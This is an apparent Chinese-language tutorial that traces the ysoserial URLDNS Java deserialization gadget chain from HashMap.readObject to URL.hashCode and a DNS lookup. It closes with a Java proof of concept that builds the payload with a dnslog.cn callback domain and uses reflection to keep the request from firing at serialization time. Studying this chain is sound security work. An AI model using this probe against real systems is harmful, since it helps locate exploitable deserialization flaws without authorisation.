URLDNS链优点
- 使⽤Java内置的类构造,对第三⽅库没有依赖
- 在⽬标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞
利用链分析
ysoserial 中URLDNS链 , 看这个利用链只涉及两个类HashMap和URL。
HashMap类
HashMap自己实现了readObject()
。
1 2 3 4 5 6 7
| for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); }
|
putVal重新计算了key的hash,跟进hash()
(Ctrl+鼠标左键)
代码意思是如果key为null返回0,如果不为null,则调用key的hashCode()
。
那我们思考,假如有个a类有hashCode()
方法,把a类作为hashMap的key,在这里就相当于调用a类的hashCode()
,这就是同名函数调用。
URL类
承接上文,URL类中有hashCode()
方法,hashCode()
被handler调用,handler 又是 URLStreamHandler 的抽象类,我们再去找 URLStreamHandler 的 hashCode()
方法。
1 2 3 4 5 6 7
| public synchronized int hashCode() { if (hashCode != -1) return hashCode;
hashCode = handler.hashCode(this); return hashCode; }
|
hashCode()
方法传入一个url,getHostAddress(url)
进入getHostAddress()
方法
这段代码意思是获取给定 URL 对象的主机地址。如果主机地址已经缓存过,则直接返回缓存的地址;否则,尝试解析主机名获取主机地址,并缓存结果。在⽹络上其实就是⼀次 DNS 查询。
流程
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| 1. HashMap -> readObject() -> putVal() -> hash(key)
2. key.hashCode()
3. key = URL url
4. url.hashcode()
5. url.handler.hashcode(url)
6. getHostAddress(url)
7. dns请求
|
URLDNS链
参考上面的流程,我们需要创建一个hashMap,在hashMap的key传入url对象,看URL的构造方法,最简单的构造方法直接放入一个url地址就可以
hashMap不直接直接传参,必须用put()
方法,put进去。
如果一切顺利的话
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| 1. HashMap -> readObject() -> putVal() -> hash(key)
2. key.hashCode()
3. key = URL url
4. url.hashcode()
5. url.handler.hashcode(url)
6. getHostAddress(url)
7. dns请求
|
初遇难题
但是我们发现在序列化的时候就已经触发了
跟进hashMap的put()
方法,发现在put的时候就已经对key进行一次hash()
了,触发了URL类的hashCode()
方法
我们发现,当 hashCode
的值不等于 -1 的时候,函数就会直接 return hashCode
而不执行 hashCode = handler.hashCode(this);
。而一开始定义 HashMap 类的时候hashCode
的值为 -1,便是发起了请求。
解决问题
思路:在put前,使hashCode不等于-1,put后hashCode等于-1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| public class Main { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { HashMap<URL, Object> hashMap = new HashMap<>(); URL url = new URL("http://jhc0ym.dnslog.cn"); Class<? extends URL> c = url.getClass(); Field hashCodefile = c.getDeclaredField("hashCode"); hashCodefile.setAccessible(true); hashCodefile.set(url, 123);
hashMap.put(url, 1); hashCodefile.set(url, -1);
Deserialization("ser.bin"); }
public static void Serialization(Object obj) throws IOException {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); outputStream.writeObject(obj);
}
public static void Deserialization(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream(Filename)); inputStream.readObject(); } }
|
参考链接
为什么hashMap要实现自己的writeObject和readObject方法
Java反序列化基础篇-01-反序列化概念与利用
Java反序列化漏洞专题-基础篇(21/09/05更新类加载部分)